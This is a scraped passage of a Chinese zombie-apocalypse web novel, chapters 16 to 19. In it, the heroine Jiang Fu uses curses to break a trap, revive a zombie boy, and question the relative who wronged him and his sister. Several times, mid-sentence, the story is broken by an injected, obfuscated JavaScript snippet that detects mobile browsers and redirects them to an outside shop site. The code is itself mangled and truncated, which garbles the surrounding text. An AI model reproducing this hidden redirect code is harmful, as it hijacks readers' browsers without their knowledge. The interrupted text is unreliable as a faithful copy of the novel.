在恶灵口中,小说里只有她能杀丧尸王,她江覆仿佛是扛起了人类最后的希望,但对于江覆来说,这家伙简直就是挑着自己碰瓷,她完全是被迫应战的。 她叹了口气,有些人是这样的,就是不想活了,也不会默默无闻地自杀,她就要挑个自己喜欢的死法,比如和自己尊重的对手,轰轰烈烈一战。 “你倒是痛快了,可把我害惨了。”江覆嘀咕着,想把人拽起来,才发现温藏玉双腿被某种线缠住了,而这种线直接是从地里“长出来”的,而且还在不断往上攀沿。 她伸手去拽这线,竟然拽不动也扯不断。 她眯了眯眼,怨气凝结成一把刀片,勾住一条细线,往上一挑,细线铿然断裂。 但一根断了,还有许多根,而且它们跟受到刺激一样,加快蠕动起来,甚至还钻进了温藏玉的皮肉里。 江覆抬起手,就要把这些细线全部斩断。 但她又停下了动作,因为她突然想起,那会儿温藏玉有一个异能就是能使出很多银色细线,当时她以为是金系异能,但仔细琢磨的话又不完全像。 此时看来,和这种细线倒是很像。 她心里冒出个猜测,温藏玉那么多奇奇怪怪的异能,不会是因为她遭到了这些异能的攻击,然后把这些异能转化为了自己的能力吧? 这一次,她要让温藏玉更早成为丧尸王,称霸末世的,她当然是越强越好。 她四下看了看,那些围攻温藏玉的人都被她震晕了,她打量着这些人,没发现哪个是能弄出这种手段的。 那看来正主不在这里。 她短暂犹豫片刻,没有处理缠在温藏玉腿上的这些细线,而是对着长出细线的地面研究片刻,然后道:“我诅咒,设下这个陷阱的人,遭受万箭穿心之痛……” 说到这里,她感到了吐字的困难,仿佛有一股力量在阻止这个诅咒说出口,并且体内怨气翻涌,让她喉头发紧。 她眸色微变,继续说:“这痛并不会影响身体健康,只是纯痛。” 阻力小了一些。 “持续时间,三天……” 阻力又小了一些,但还是存在。 她改口:“三个小时。” 阻力消失,诅咒成立。 而随着诅咒成立,江覆体内顿时清空了一大股怨气。 她身形微微震了下,抬头朝某个方向看去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604471|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她能感应到,她诅咒的人在那个方位,但离得应该挺远的。 她收回目光,抬手,手上凝聚怨气,对着脚边这块陷阱地重重轰了下去。 …… “噗!”附近某基地里,一个年轻男人忽地喷出一口血来。 周围原本轻快聊天的人愣了一下,连忙围上来。 “良吉!良吉你怎么了!” 一通忙活下来,男子倒是不吐血了,但死死揪着心口,表情扭曲,面如金纸,痛得整个人倒在地上,一个字都说不出来。 这模样实在是太骇人了,可又检查不出什么问题,大家又惊又急。 “良吉最近遇到什么事了吗?” “没有什么特别的事。” “或者遇到了什么特殊的人?” “也没有吧。” “他心口疼的原因不清楚,但吐那口血,应该是异能反噬。”一个看起来最冷静的女子用异能给人彻底检查了一番后,说道。 “异能反噬?也没人攻击他啊。” “他不是常用异能设陷阱吗?” “啊,说起来,昨天良吉在西镇碰到了一行人,他们被一个非常难缠的丧尸盯上,良吉便帮他们布置了一个陷阱。” “看来应该就是那里出问题了,难道那个丧尸真的非常厉害,把良吉的陷阱破了?” “不管了,先去那里看看什么情况。” 一群人商量了一通,就赶紧出发了。 …… 江覆拎起温藏玉,往后退了十多米,一落地就再次脚尖点地,再次后掠。 她的面前,地面不断坍塌,那是怨气和陷阱里蕴藏的强大异能力量对撞导致的。 最后大半条街的地面都塌陷了,周围昏迷的人都掉进了这个巨大地坑里,生死不知。 江覆没有去管那些人,心知那个布置陷阱又被她诅咒的人应该很快会找过来,拎着温藏玉就要离开。 温藏玉挣扎起来,嗬嗬叫着,还要扑过来抓挠江覆。 江覆把她提远了一点,怨气如同布帛一样,把她不安分的爪子缚在身侧。 “好了,好了,你乖一点,知道了,不能把你弟弟落下。” 她看向还悬浮在空中的那个丧尸少年,心念一动,那坨怨气托着丧尸飘过来,江覆把这丧尸少年也拎起来瞧了瞧。 虽然胸口被轰出了两个大洞,全身碎碎的,软塌塌的,但嘴巴还能张合,很好,看起来还有救。 把人放在温藏玉面前,叫她闻了闻:“是这个,对吧?” 温藏玉果然闻了闻,咆哮声小下去了一些,挣扎得没有那么厉害了,但还是不满自己被拎着,一个劲扭来扭去。 “你也快碎碎的了,劲还这么大。” 江覆想了想,把那个四肢尽碎的二哥也给带上了。 她寻找温藏玉花了很多时间,还是察觉到这边有比较强的异能波动和战斗动静,才找过来的,不知道这些人和温藏玉有什么恩怨,带着这个祸头子,不仅能了解情况,温藏玉要是闹起来,还能给她当玩具出气。 她抬起头,看到一只肥嘟嘟的黑猫终于追上来,挂着楼顶栏杆上呼哧呼哧地喘气,她:“速度真慢,走了。” 17.第 17 章 江覆带着人离开后,大约过了一个小时,这条街迎来了一群人。 “就是这里!地面塌了!” “坑里有人!” 他们赶紧把埋在坑里的人挖出来,发现这些人身上都萦绕着一种奇异的阴冷能量,让他们动弹不得,十分痛苦。 这群人中的治疗型异能者立刻上手治疗:“……不行,这不知道是什么能量,我的治疗异能对其作用很小。” “难道又出了什么特殊类型的丧尸?” 这时,一个被救出来的人艰难开口道:“不、不是丧尸。” 众人都忙看向他:“不是丧尸是什么?这里到底发生了什么?” 这人继续断断续续地说:“我们快抓住……那个丧尸了……一个人突然出现……一个浑身冒黑气的女人……她用黑气……攻击我们……救走丧尸……” 众人面面相觑,还想再问,这人又昏迷了过去。 “看来这个西镇出现了一个神秘人物,就是这个人,废了良吉的陷阱,还救走了丧尸。” “说不定那也是一个丧尸,不是说,丧尸越进化,就越发重新接近活人的样子吗?说不定这个女人就是这么一个丧尸。” “无论是哪种情况,可以确定这个女人很危险,这里距离基地只有一个小时的路程,对基地威胁太大了。” “走,先回去,把这个消息汇报上去。” …… 这个小镇的一处还算完整的小院里,江覆在院子里架了个木板床,把温藏玉放在上面,正在给她取身体里的子弹。 这家伙几乎被打成筛子了,满身的弹孔,有的子弹直接打穿过去,有的则嵌在肉里、骨头缝里,甚至是遗落在胸腔腹腔里。 这些子弹让温藏玉的行动受限,整个丧尸很暴躁,江覆只能帮她把子弹先取出来。 她徒手在温藏玉身体里翻来翻去,看到子弹就拿出来,很快就放满了一个盘子。 本就破破碎碎的温藏玉,被她这么一弄,越发千疮百孔,她还得拿针线把她伤口缝起来,断了的骨头也接起来,用纱布或者木板固定。 就这,这家伙还不断挣扎。 江覆一边忙活一边说:“我说,你就别动了,好不容易给你骨头接好了,你一扭动又错位了,回头成了一脚深一脚浅,歪头又驼背的丧尸,那多不好看啊。就像当初那样,走起路来一瘸一瘸的,人家都叫你瘸子王,好听啊?” “嗬嗬!”这家伙继续挣扎,被怨气束缚在床上,脖子还能扭来扭去,后脑勺咚咚咚地砸在床板上。 江覆:“你再这样,我就不给你弟修补了,让他就那么一直瘫在地上好了。” 一旁,那个丧尸少年跟个破布娃娃一样躺在地上,这家伙完全没有他姐姐的强悍生命力,除了嘴巴能阿巴阿巴地张合,手指头微微弹动,就什么动作都做不了了,死得很乖巧。 温藏玉似乎理解了江覆这句话,挣扎幅度小了下来,只两只针孔般的眼睛还瞪着江覆,喉咙里不断发出咕噜噜的不满声音。 江覆觉得,这样的她有点像愤怒的大狮子,乱糟糟的爆炸头也很像,就是身体过于干巴冰冷。 一道黑影从院子外闪进来,跳到床上,看了看温藏玉,然后抖了抖肥硕的身躯,一颗颗丧尸晶核就从它茂密的毛发间丁零当啷地掉了出来。 黑猫抖完自己的战果,舔了舔自己爪子上的毛,得意地说:“看我弄回的晶核够多吧,你总说我胖,我胖点怎么了,不耽误我的身手!” 江覆瞅了这黑猫一眼,拿了一颗晶核塞进温藏玉嘴里,她愣了下,然后就咔吧咔吧地嚼起来。 江覆仔细观察着,发现晶核被她吃掉后,晶核里的能量自然而然地在她身体里扩散开,那些骨折和各种内脏、肌肉伤口,开始缓慢愈合。 她点点头,能愈合就好。 江覆问黑猫:“有遇上什么人吗?” “来了一群人,就在之前那条街,把掉到坑里的人都救走了,应该是最近的那个什么夕阳红基地来的。” “那叫红日基地。”江覆,“来得那么快,看来,布置陷阱的人就在红日基地里。” 她手上的动作一点点放慢,红日基地,细线形式的异能,这让她想起当初伏击她的“主角团”里的一人。 据说那人就在红日基地里呆过,后来男女主来了西北,他才和他们混在一起。 而且那人的异能也是细线,只不过是比头发丝更细的程度,还被人起了个名字叫做什么金蚕蛛网,狗屁不通的名字,就是说和蚕丝蛛丝一个等级的,所以她一开始没有和温藏玉身上的细线联系起来。 但也许是多年之后,人家的异能升级了呢? 想到对方张口闭口就是正义,几度抨击自己暴虐不仁,她冷笑一声:“我刚才诅咒那个设陷阱的人,但发现难度很大,只能一再放低要求。” 黑猫一顿:“那这个人有点特别哦。” 江覆点头:“要么很强,要么,就是和男女主,或者和我有关的人。” 这是她诅咒了那么多人之后得出来的结论。 之前她诅咒张通的时候就很困难,她当时以为是自己第一次诅咒人业务不熟练,但她诅咒第二个人的时候却一下子丝滑很多,后来就渐渐明白了,是张通本身比较特别。 他是未来会背叛自己的人,在自己死亡这件事上,他出力极大。 自己动他,等于提前搬走了她命运的绊脚石,这会牵扯到极大的剧情变动,所以诅咒难度极大。 黑猫又继续舔起毛来:“那你下次就不要用诅咒,直接动手,用物理方式干掉对方。” 江覆点点头:“相信很快就能和对方见面了。” 她转头一看,这肥猫胖得脖子都扭不到后面去了。 江覆:“你这体型就不能控制一下。” 因为太胖太重,江覆现在都不乐意背着它了。 黑猫:“我已经很努力地在控制了。” “那你换个身体。” 黑猫:“……这个猫身体我都用出感情了。” 江覆翻了个白眼给它,结束手里的动作,叫黑猫继续给温藏玉喂晶核,自己去看地上那个丧尸少年。 伤得着实很重,尤其胸前两个被轰出来的洞,两肺直接被轰掉了大半,心脏只剩一点碎片,肋骨更是全部碎了。 要是活人受这样的伤,早死了,也就是丧尸是靠着脑子里的晶核活着的,只要脑袋还在,晶核不碎,就还能活。 但糟糕的是,这个丧尸完全不像温藏玉,有那么强的异能能量,这就是一个非常普通的低阶异能丧尸,他的体内能量在缓缓溃散。 江覆手指摸索着丧尸的头骨,这是一个很饱满圆润的头骨,摸索到后脑勺的位置,这里凹陷了进去,应该就是这里遭到重击,震碎了晶核。 “不行了,晶核已碎,他要死了。” 咚! 床上的温藏玉用力翻了下来,摔在地上,不顾全身都是纱布和木板,一路爬过来,凑在丧尸少年脑袋边嗅着,嘴里发出呜呜的声音,像是野兽在呜咽,呼唤地上的亲人起来。 黑猫走过来:“啊,好可怜啊。” 它说得并不走心,说完继续悠闲地舔毛,江覆靠在一边,表情也是淡淡的。 但这一刻,她突然想起了母亲,想起了母亲临终前,自己的惶然痛苦,那种全世界都要被剥夺一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609110|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的巨大恐慌。 温藏玉突然转过头,眼睛瞪大了一些,缠满纱布的手努力够向江覆,一把抓住了她的风衣下巴。 她嘴巴张张合合,努力发出声音:“救……救……” 江覆讶然。 黑猫也惊讶地上下看她。 “她居然这么早就能说话了?” 江覆看了她一会儿,说道:“我没有把握,只能说,试一试。” 然后,她就看到温藏玉笨拙又急切地点头。 黑猫:“哇,居然能顺利沟通!不愧是能成为丧尸王的人,江覆,你收服这个跟班,不亏哦!” 江覆重新蹲下身,试着用怨气去凝聚丧尸少年脑中的晶核,但失败了,她又试着去维护他体内溃散的异能,也失败了。 相反,在她的怨气作用下,对方的身体腐败程度在加剧,整个人都在散发浓重的死亡气息。 她想了下,开口道:“我诅咒,地上这个人,维持生机不败。” 体内怨气一阵翻涌,诅咒不成立。 黑猫:“诅咒都是往坏的一面咒的,你这个叫许愿,而且丧尸哪里来的生机啊。” 江覆只能:“我诅咒,地上此人,永远保持行尸走肉的状态,不得解脱。” 这句够狠了吧,但其实,丧尸不是行尸走肉是什么?哪怕温藏玉成了丧尸王,那本质上也还是行尸走肉。 然而诅咒再次失败。 黑猫想了想:“可能是‘永远’这个程度太大了。” 江覆挠了挠头:“我诅咒,地上此人,在未来八年内,行尸走肉地活着……” 她看看地上这小孩,也才十五六岁的样子,以这副尊容这个状态的话,这活得也太惨了一点。 她看了温藏玉一眼,送佛送到西,她继续说,“他的晶核能够重组……”感到阻力,“但他本人无法变强。”阻力消失。 “他身上的伤口脏器会愈合如初……”阻力再次出现,“但此后身娇体弱容易受伤。”阻力再次消失。 江覆满意,温藏玉还能护不住自己弟弟吗? “他能够说话思考,宛如常人,所有感官恢复如常……”阻力大大涌现,“但一天有三分之一时间陷入沉睡。”阻力如潮水般退去。 这就妥协了?她还留着讨价还价的空间呢。 江覆意犹未尽,还想说点什么,但感受到一种不耐烦的感觉。 担心再说下去,这个诅咒真的没法成立,她只能作罢。 “完毕。” 随着这声话落,江覆体内一股庞大的怨气涌了出来,将整个小院笼罩得漆黑而冰冷,一缕缕怨气如同沾满了浓墨的笔画,在空中形成了繁复的图样,然后迅速缩小,印入地上的丧尸少年体内。 江覆踉跄了一下,差点跪倒,她手心迅速释放出一股怨气,形成一根拐杖,撑住了自己的身体。 而地上的丧尸少年,那破碎的躯体随着怨气的不断涌入,开始肉眼可见地修复起来。 他的骨骼开始对接,脏器开始重塑,血肉开始生长,整个塌陷下去的胸腹逐渐饱满起来,干瘪灰败的脸也一点点充盈起来,甚至皮肤上的尸斑消退,灰败色彩慢慢被正常的肤色取代。 温藏玉跪在一旁,呆呆地看着这样神奇的变化。 江覆也默默地看着这一幕,黑猫伸长了胖脖子:“哇塞,你这许愿一样的诅咒,居然成功了!” 下一刻,地上的少年缓缓睁开眼睛,那对芝麻一样的黑眼珠不断颤动着,黑色逐渐放大,浑浊逐渐退去,最后恢复成一双黑白分明的正常眼睛。 这双眼睛映着蓝天白云,十分漂亮。 他微微转动眼珠,看向了江覆。 18.第 18 章 丧尸少年看向江覆,但其实他的瞳孔是失焦的,视力应该还没有恢复。 这也正常,毕竟这还涉及到眼球内部结构的重组,视神经、脑神经等重新长起来。 但他却依然第一时间,“看”向江覆的方向。 江覆抬手在他眼前晃了晃,眼珠子跟着颤了颤。 她又在他耳边打个响指:“能听到吗?” 这人的头朝声源侧偏了下。 江覆伸到他后脑勺摸摸,凹陷处在愈合,很快这又会是一个圆润的大好头颅。 然后她捏住少年的肩膀,一路顺着手臂捋下来,骨折处确实在愈合,原本扭曲的手臂,在某种强大力量的作用下,被强行掰直。 最后她握住少年的手,手背的青灰在消退,指甲也褪去不祥的黑色,露出有些苍白的甲床。 江覆正要抽手,这只手却条件反射一般抓住了她的手指。 江覆:“……”还挺有劲,关节也灵活起来了,皮肤也具有韧性了。 她满意了,对温藏玉说:“你弟弟很快就能恢复了。” 温藏玉扭头看着她,张了张嘴,像是要说谢谢,但发不出这个音。 江覆拍拍她的肩膀:“你也努力,加快进化。” 她起身出去,把地方留给这对姐弟。 她站在门外,看着他们,目光落在少年身上,却不由自主地再次想到母亲。 如果她对母亲也使用这种许愿式的诅咒,如果付出点代价,换取活下去…… 黑猫不知何时在围墙上走猫步,胖身子扭来扭去的,喵了一声说道:“不可能的,诅咒的对象必须是个活物,哪怕是丧尸,也是活动的、可以进行物质代谢的另一种品类的‘活物’,你母亲的情况截然不同。 “退一步说,就算尸体也能诅咒,以你母亲的重量级和重要级,你也肯定咒不动的。” 江覆转头看它:“我说,你是不是有什么读心术?怎么总知道我在想什么?” 黑猫扭头看她,两个琥珀色的大眼睛里全是她的倒影:“这还需要读心吗?每次你露出这种怀念的,沉重的,带着点苦涩和纠结的表情,绝对是在想和你母亲有关的事情。” 江覆:“……” 她撸了撸猫头:“说得很好,以后不许说了。” 她收起所有心思,走向墙根处,那个被她捆成一团的家伙。 温自成,也就是那个二哥被一脚踢醒,四肢近乎麻木的钝痛传入脑海,想起昏迷前发生的事情,恐惧再次袭来,昏迷前他好像看到,他的四肢都…… “叫什么名字,来自什么地方,和温藏玉什么恩怨?” 一个冷冰冰的声音从头顶砸下来。 他抬头,就看到那个长风衣的女人,还是看不清脸,但这个身影就带来莫大的压迫感。 他恐惧地往后缩,却发现缩不动,低头一看,果然他的四肢都变成了糊肉。 他骇叫道:“我的手!我的腿!啊啊啊啊!”然后又晕了过去。 江覆:“……”她只能把人再次弄醒,同样的问题又问了一遍,她狞笑道:“别想隐瞒什么,不然你的脑袋就是你四肢的下场!” 温自成只能哆哆嗦嗦地说了。 他们姓温的一大群人在红日基地里抱团过日子,温自成算是温藏玉的族叔,关系不是很亲近,也不算疏远,因为他们家族里的异能者大多时候都是一起行动的,或是接基地的活,或是自己人一起出来猎有价值的异兽异植什么的。 而温自成和温藏玉姐弟的恩怨,总结一下,就是他觊觎族侄女的美貌和能力,给人家下药想要彻底收服她,没想到被人家弟弟发现端倪,事情败露,恼羞成怒之下想杀人灭口……结果把人家姐弟害成了丧尸。 偏偏温藏玉成了丧尸后,依然保留些许记忆,只要温自成出基地就跟有雷达似地能找上来报仇,而且短短数日就很强了。 温自成担心温藏玉会越来越强,要将这个威胁扼杀掉,才有的这次围攻。 温自成一把鼻涕一把泪地求饶:“我真的只是和藏玉开个玩笑,我好歹是她二叔,怎么会真的对她做什么,是他们姐弟误会了!” 江覆厌恶地看着这个人,开玩笑?这世上有这么开玩笑的吗? 她面无表情:“这个世上的渣滓,怎么就这么多呢?” 温自成从这话中听出了杀意,抖了一下,更加惶急地求饶。 忽然,他浑身一哆嗦,看向从院子里出来的人。 温藏玉跟个怨鬼一样站在那里,冰冷阴沉地盯着他,喉咙里发出愤怒的低吼。 温自成眼里闪过一道凶光,明明差点就能把她消灭了…… 边上还站着一个煞神,他只能继续痛哭求饶:“藏、藏玉啊,二叔真的无心之失,你这不也好好的吗?一家子骨肉,你饶了二叔……” 江覆差点嗤笑出来,这话怎么说得出口的。 温藏玉恶狠狠地看着这个人,她脑子非常混沌,但还残留着一些模糊的记忆,以及极深的恨。 她要杀了这个人!杀了这个人! 她朝温自成扑去,结果摔倒在地,嘎嘣几声,江覆听到了骨头断裂的声音。 刚愈合一点的骨头又断开了。 江覆没有去管她,继续问温自成:“那个陷阱是谁帮你们弄的?” “是周良吉,他是基地里最年轻的六阶强者,也许已经七阶了。”他把这个强者搬出来,希望能让江覆忌惮 江覆忌惮个屁,她只想冷笑,果然是这个姓周的。 “他主动帮你的?” “他喜欢帮助人,喜欢为弱者出头,在红日基地里是出了名的厚道人,我们怕、怕对上藏玉没有把握,去跟他诉苦,他就答应帮忙了。” 江覆嗤笑一声,“他知道前因后果吗?” 温自成支支吾吾,江覆了然:“也是,你怎么敢自爆这丑恶内情。” 可不知内情,不问缘由,就帮助温自成害本就是受害者的人,这不是更可笑吗? 周良吉,果然还是这么神经。 她甚至怀疑,周良吉就算知道了内情,也还是会站在温自成那边,因为那人最信奉一点,那就是活人永远是最重要的。 正如当年,他和主角团杀进覆安基地,据说是因为他觉得江覆的政令对活人太苛刻,是因为江覆作为唯一一个十阶异能者,会成为以后整个世界、所有活人的威胁。 她死后被那般对待,这个正义的厚道人倒是也说过几句反对的话,但很快就被“只有这样基地才能最快安定下来,少死点人”这种理由给说服了,然后选择眼不见为净。 真是好厚道好良善一人呢! 江覆越回忆就越想发笑。 当年参与杀她的人,每一个都是她的仇人,但这个周良吉最令她感到恶心。 所以,该怎么对付他呢? 此人此刻应该还在受万箭穿心之痛,但区区身体上的疼痛,根本打击不了他。 也根本,解不了江覆心头之恨。 她看了看温自成,对温藏玉说:“暂时先不杀他行吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如今,这世上,我只对两类人宽容以待,你知道是哪两类人吗?” 黑猫:“哪两类?” 江覆:“一类是曾为我而死的人,另一类是死在我前头的人。” 前者如韩晓飞、江时月,后者就多了,温藏玉和她弟弟恰好都在其中,她并不介意给他们多一点的耐心 她起身往外走:“你留在这里守着他们吧。” 黑猫赶紧喵一声:“你去哪里?” “去给他们找几件衣服。” 那破破烂烂满是脏污的衣服该换了,头发也都该理了,洗澡也需要安排一个。 江覆在这个小镇里转悠着,寻找物资。 但可能因为附近就挨着一个基地,这些年基地里的人肯定没少在周边搜集物资,所以,这个小镇被搬得干干净净。 江覆愣是没找到一件能穿的衣服。 更不要说打理个人卫生需要用到的各种东西了。 倒是有一些丧尸摇摇摆摆地走过,但它们身上的衣服也都不能看了,实在没有扒下来的价值。 好在,江覆发现了两辆车,应该是温自成他们开过来的,上面有些武器、食物、衣服,还有一些饮用水。 但这些水肯定是不够洗澡的。 她正要再去找找水源,忽然天色暗了下来,乌云从天边滚滚而来,云团里还不时有雷电闪烁。 要下雨了。 她记得,这场丧尸异兽异植大进化的过程中,各地都频繁下雨,每下过一场雨,丧尸们就更强一分。 看来当地的大进化要开始了。 19.第 19 章 大雨倾盆而下,才是午后,天色就黑沉得仿佛已经入夜,轰隆隆的雨声是天地之间唯一的声音。 江覆就坐在车边,静静地看着这场雨。 在确认会下雨后,她就放弃了寻找水源,并且把那两辆车都开回小院,然后用车上的防雨篷布在两辆车中间撑起了一个五六米见方的空间。 此刻她就坐在雨布之下,若有似无的怨气在四周形成围墙,将雨水都挡在外面,她的衣角连一丝水汽都没沾上。 面前折叠桌展开,卡式炉上咕嘟咕嘟烧着热水,一盏露营灯挂在车尾,橙黄色的光芒照亮了这方寸之地。 不远处,那小院里,温藏玉正沐浴在暴雨之下,时不时地走来走去。 雨水中好似蕴含着某种对她很有益处的能量,她本来还一瘸一拐的,但在雨中淋了一个小时,就不瘸了,身上的骨折也好、伤口也好,愈合得飞快。 没一会儿,她就能窜上院墙,在上面跑来跑去,然后,哗,墙塌了。 她又爬上屋顶,那本就破破烂烂的房屋也很快被她折腾得坍塌了,她整个人被埋在废墟底下,但片刻后就自己徒手爬了出来,转而又爬上一棵大树,使劲祸害树枝。 又过一会儿,她把温自成拖出来,左一下右一下地狠揍,抓着他的断腿把人当沙包一下一下往地上抡。 温自成的惨叫不绝于耳,成了雨声的最佳陪衬。 江覆就:“……” 这位潜力股丧尸女士是真的很皮实。 她转过头,看着坐在一个小折叠凳上,歪着头看自己的少年。 他刚在雨中洗了个澡,换上了九成新的黑色短袖,头发还有点湿漉漉的,贴在脸上,越发显得皮肤白皙娇嫩,一双黑葡萄似的大眼睛一眨不眨地盯着自己看,像一只目光随时追逐着主人的狗狗。 见江覆看向自己,他眼睛更亮了几分,悄悄把背脊挺得更直,有些生疏但清晰地说:“姐、姐。” “……”江覆给他指温藏玉,“那个才是你姐姐。” 少年看了还在抡沙包的温藏玉一眼,叫了一声:“姐。”然后又看向江覆,“姐姐。” 好像在说,温藏玉是姐,江覆是姐姐,他分得清楚。 江覆:“……” 说话间,炉子上的水开了,少年想给江覆倒水,但手才伸过去,被水蒸气一撩,就嘶了一声,那手立刻就红了。 接着他还打了个喷嚏,哆嗦了一下,显见是被冷的。 江覆:“……” 她今天因为这对姐弟都无语过好几回了。 姐姐上蹿下跳跟皮猴子似的,这个弟弟却秀气安静得不行,尤其被她咒过之后,那真是细皮嫩肉,一碰就碎的瓷器一般。 她当时只说他“身娇体弱容易受伤”,也不知道会娇弱到这个程度,她看了看那发红的指头,再看看他冻得发抖的样子,不仅容易受伤,还容易生病。 但你本质上依然是一个丧尸好吗?一个丧尸淋个雨就感冒,像话吗? 江覆叹了口气,看那可怜巴巴的样子,只能去车上找出一条看起来应该没用过的纯白毛巾和一件不知道谁穿过的外套,看着还算干净,丢给少年:“外衣穿上,头发擦干。” 他立刻乖乖地照做,因为四肢还有点僵硬,动作有点慢,但就是有一种执行得一丝不苟的感觉。 江覆将四周的怨气凝结了几分,这下不仅雨丝飘不进来,连冷风也钻不进来了,又给他倒了一杯开水,等放得不那么烫了,才递给他:“看能不能喝水。” 他捧着杯子喝了两口,顺利地咽下去了,没有什么不适的样子。 看来能正常吃东西。 江覆就把车上的食物拿出来,两人分着吃,一边吃一边看温藏玉在雨中折腾,同时有一搭没一搭地说话:“你叫温和玉?” “是。” “今年几岁了?” “十、七。” 江覆扭头看了他一眼,十七了?看着不像啊,她还以为他才十五六,骨架子完全没长开,脸上也一团稚气,不过能看出是个美男子的底子。 江覆虽说对男人很厌烦,但对于未成年的小孩,还是长得漂亮的小孩,容忍度还是很高的。 江覆:“还记得自己怎么变成丧尸的吗?” 温和玉回想了一下,慢吞吞地说:“混乱中,有人,砍了我一下,姐说那刀,砍了丧尸后,没洗干净。” 这倒是温自成没说过的。 她又问:“那你姐怎么变成丧尸的?” 这次温和玉想了更长的时间,才不确定地说:“姐、和那些人打,受伤,快死,我就……咬了她?” 江覆心说,这是温藏玉受伤了,控制不住变成丧尸的弟弟,不小心被他咬了?还是这个温和玉见温藏玉快死了,索性一不做二不休把她咬了?毕竟变成丧尸总比彻底死了强。 如果是后者…… 她用全新的目光打量这个温和玉,已经变成丧尸了,还能有这样清晰的思维,并且果断去做,这家伙也不简单啊。 不过,“所以,是你把你姐变成丧尸的,那怎么她能那么强,你却这么弱?” 一般来说,被强大的丧尸咬了,成为丧尸后也会比较强,反过来是同样的道理。 这姐弟俩却是一个弱丧尸咬出了一个超强丧尸。 温和玉也不恼,温温和和地说:“姐从小,就厉害。” …… 两人在这边聊天,那边,温藏玉已经把温自成打得奄奄一息,鲜血顺着他浑身的伤口流淌出来,在地面迤逦绵延,所过之处草皮像得到什么养分一般,快速生长起来。 各色各样的虫子也从泥土里爬出来,争抢着血液,它们不仅吃血,还顺着鲜血找到了温自成,兴奋地啃食着他的伤口,片刻功夫,温自成整个人都被虫子爬满了。 温藏玉停下手,蹲在一旁看着,听着温自成恐惧凄厉的大喊,他的异能早就在对抗温藏玉的虐打中消耗完了,这会儿只能崩溃而徒劳地尖叫:“杀了我吧!你们杀了我吧!” 温藏玉咧开了嘴,听得很高兴。 一些虫子往江覆这边爬,她淡淡瞥了眼,用怨气扇过去一巴掌,它们就乖乖退回去了。 于是在周围杂草肉眼可见地长起来的时候,就两辆车的周围形成了一波真空带。 血腥味和尖叫声引来了其他生物,远远的,一个又一个晃荡的丧尸出现,屋顶上,一只只体型过大的猫狗老鼠窜出来。 温藏玉扭头看去,细小的瞳孔收缩起来,又看了看雨蓬下的江覆和温和玉,然后噌的一下跑过去,昏暗之中,只看到她冲进丧尸堆里,拳打脚踢的,那些个丧尸就一个个被掀飞。 打完了丧尸,她又爬上屋顶,和一只只变异动物打了起来,一时间猫叫狗吠,热闹极了。 江覆感叹:“真是好有精力啊。” 等温藏玉把那些家伙都处理完了,她又蹲在地上忙活,过了一会儿,她才用衣摆兜着什么东西回来了。 江覆放开怨气,让她进来。 温藏玉把衣摆上的东西倒在小桌子上。 哗啦啦,是一堆晶核,各色各样,被雨水冲刷得干干净净,她应该只把高阶的挑来了,每一颗都泛着宝石般的光泽,品质很不错。 她看着江覆,把晶核往她这推了推。 雨水顺着她头发往下淌,脸上的血迹和脏污已被冲洗干净了,暴露出苍白的皮肤,但那种干尸一般的死气消减了很多,眼球也没有那么怪异了。 这都是进化的效果,她在越来越像活人。 江覆道:“我不需要这个,你自己用吧。” 温藏玉看看江覆,似乎在确定她并不是说假话,然后看向温和玉,把晶核推向他。 温和玉眨眨眼:“姐,我吃不了,这个,会……砰!” 温藏玉看了看他的细胳膊细腿,面上闪过一抹类似嫌弃的表情,扭头去看趴在车里的黑猫:“呜……猫……” 黑猫很高兴地从车窗钻出来:“还有我的份啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624028|187262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 它也不客气,跳到桌子上,爪子扒拉两下,挑走了两颗最大最亮的晶核,塞进自己的毛毛里:“行了,剩下你自己吃吧。” 在姐弟俩耳中,这猫就是喵喵叫了几声,但奇异的,温藏玉好像听懂了。 她有点奇怪地看着肥猫那一身黑毛,然后爪子抓起桌上的晶核,往自己的头发里塞。 江覆正喝水呢,差点被呛到。 她摆摆手:“要是暂时不吃的话,晶核放这,我给保管。” 温藏玉就痛快地把晶核放下了,转身又进了雨里,走向那一地尸体,很快,咔嚓咔嚓的咀嚼声传来——她应该是去吃低阶晶核了,当然,也可能是生啃血肉去了。 江覆:……倒也不必这么俭省。 不过她想了想还是没有去阻止。 